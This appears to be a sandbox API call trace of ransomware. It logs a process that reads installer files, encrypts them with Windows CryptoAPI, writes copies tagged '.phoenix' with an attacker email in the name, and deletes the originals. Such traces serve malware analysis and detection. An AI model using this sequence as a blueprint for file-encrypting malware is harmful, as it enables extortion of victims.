	[0065.998] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0066.001] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=54456) returned 1
	[0066.001] CloseHandle (hObject=0x33c) returned 1
	[0066.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80
	[0066.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.002] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0066.002] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0066.002] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0066.002] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.002] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa4c8) returned 1
	[0066.002] CryptSetKeyParam (hKey=0xbaa4c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0066.002] ReadFile (in: hFile=0x33c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0xd4b8, lpOverlapped=0x0) returned 1
	[0066.031] CryptEncrypt (in: hKey=0xbaa4c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xd4c0, dwBufLen=0xd4c0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xd4c0) returned 1
	[0066.031] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xd4c0, lpOverlapped=0x0) returned 1
	[0066.032] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa7c8) returned 1
	[0066.032] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0066.032] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0066.032] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0066.032] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0066.032] CryptDestroyKey (hKey=0xbaa4c8) returned 1
	[0066.032] CloseHandle (hObject=0x33c) returned 1
	[0066.033] CloseHandle (hObject=0x31c) returned 1
	[0066.036] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1
	[0066.038] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0066.038] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.038] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=81482) returned 1
	[0066.038] CloseHandle (hObject=0x31c) returned 1
	[0066.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80
	[0066.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.038] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.038] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0066.038] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0066.039] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0066.039] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa4c8) returned 1
	[0066.039] CryptSetKeyParam (hKey=0xbaa4c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0066.039] ReadFile (in: hFile=0x31c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x13e4a, lpOverlapped=0x0) returned 1
	[0066.197] CryptEncrypt (in: hKey=0xbaa4c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x13e50, dwBufLen=0x13e50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x13e50) returned 1
	[0066.197] WriteFile (in: hFile=0x33c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x13e50, lpOverlapped=0x0) returned 1
	[0066.199] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa908) returned 1
	[0066.200] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0066.200] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0066.200] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0066.200] WriteFile (in: hFile=0x33c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0066.200] CryptDestroyKey (hKey=0xbaa4c8) returned 1
	[0066.200] CloseHandle (hObject=0x31c) returned 1
	[0066.200] CloseHandle (hObject=0x33c) returned 1
	[0066.205] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1
	[0066.211] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0066.211] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0066.228] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=3859) returned 1
	[0066.228] CloseHandle (hObject=0x33c) returned 1
	[0066.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80
	[0066.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.228] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0066.228] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0066.228] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0066.228] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.228] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa388) returned 1
	[0066.228] CryptSetKeyParam (hKey=0xbaa388, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0066.228] ReadFile (in: hFile=0x33c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0xf13, lpOverlapped=0x0) returned 1
	[0067.127] CryptEncrypt (in: hKey=0xbaa388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xf20, dwBufLen=0xf20 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xf20) returned 1
	[0067.127] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf20, lpOverlapped=0x0) returned 1
	[0067.128] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa5c8) returned 1
	[0067.128] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0067.128] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0067.128] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0067.128] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0067.129] CryptDestroyKey (hKey=0xbaa388) returned 1
	[0067.129] CloseHandle (hObject=0x33c) returned 1
	[0067.129] CloseHandle (hObject=0x31c) returned 1
	[0067.132] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1
	[0067.133] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0067.133] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0067.134] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=60816) returned 1
	[0067.134] CloseHandle (hObject=0x31c) returned 1
	[0067.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80
	[0067.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0067.134] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0067.134] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0067.134] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0067.134] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0067.135] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa808) returned 1
	[0067.135] CryptSetKeyParam (hKey=0xbaa808, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0067.135] ReadFile (in: hFile=0x31c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0xed90, lpOverlapped=0x0) returned 1
	[0067.240] CryptEncrypt (in: hKey=0xbaa808, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xeda0, dwBufLen=0xeda0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xeda0) returned 1
	[0067.241] WriteFile (in: hFile=0x33c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xeda0, lpOverlapped=0x0) returned 1
	[0067.242] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa208) returned 1
	[0067.242] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0067.242] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0067.243] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0067.243] WriteFile (in: hFile=0x33c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0067.243] CryptDestroyKey (hKey=0xbaa808) returned 1
	[0067.243] CloseHandle (hObject=0x31c) returned 1
	[0067.243] CloseHandle (hObject=0x33c) returned 1
	[0067.248] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1
	[0067.250] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0067.250] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0067.250] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=201796) returned 1
	[0067.250] CloseHandle (hObject=0x33c) returned 1
	[0067.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80
	[0067.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0067.251] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0067.251] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0067.251] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0067.251] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0067.253] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa9c8) returned 1
	[0067.253] CryptSetKeyParam (hKey=0xbaa9c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0067.253] ReadFile (in: hFile=0x33c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x31444, lpOverlapped=0x0) returned 1
	[0067.618] CryptEncrypt (in: hKey=0xbaa9c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x31450, dwBufLen=0x31450 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x31450) returned 1
	[0067.618] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x31450, lpOverlapped=0x0) returned 1
	[0067.622] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa848) returned 1
	[0067.622] CryptSetKeyParam (hKey=0xbaa848, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0067.622] CryptEncrypt (in: hKey=0xbaa848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0067.622] CryptDestroyKey (hKey=0xbaa848) returned 1
	[0067.622] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0067.622] CryptDestroyKey (hKey=0xbaa9c8) returned 1
	[0067.622] CloseHandle (hObject=0x33c) returned 1
	[0067.622] CloseHandle (hObject=0x31c) returned 1
	[0067.637] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1
	[0067.639] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0067.639] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0067.639] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=93314) returned 1
	[0067.639] CloseHandle (hObject=0x31c) returned 1
	[0067.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80
	[0067.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0067.640] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0067.640] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0067.640] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0067.640] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0067.640] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa608) returned 1
	[0067.640] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0067.640] ReadFile (in: hFile=0x31c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x16c82, lpOverlapped=0x0) returned 1
	[0067.732] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x16c90, dwBufLen=0x16c90 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x16c90) returned 1
	[0067.732] WriteFile (in: hFile=0x33c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x16c90, lpOverlapped=0x0) returned 1
	[0067.735] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa9c8) returned 1
	[0067.735] CryptSetKeyParam (hKey=0xbaa9c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0067.735] CryptEncrypt (in: hKey=0xbaa9c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0067.735] CryptDestroyKey (hKey=0xbaa9c8) returned 1
	[0067.735] WriteFile (in: hFile=0x33c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0067.735] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0067.735] CloseHandle (hObject=0x31c) returned 1
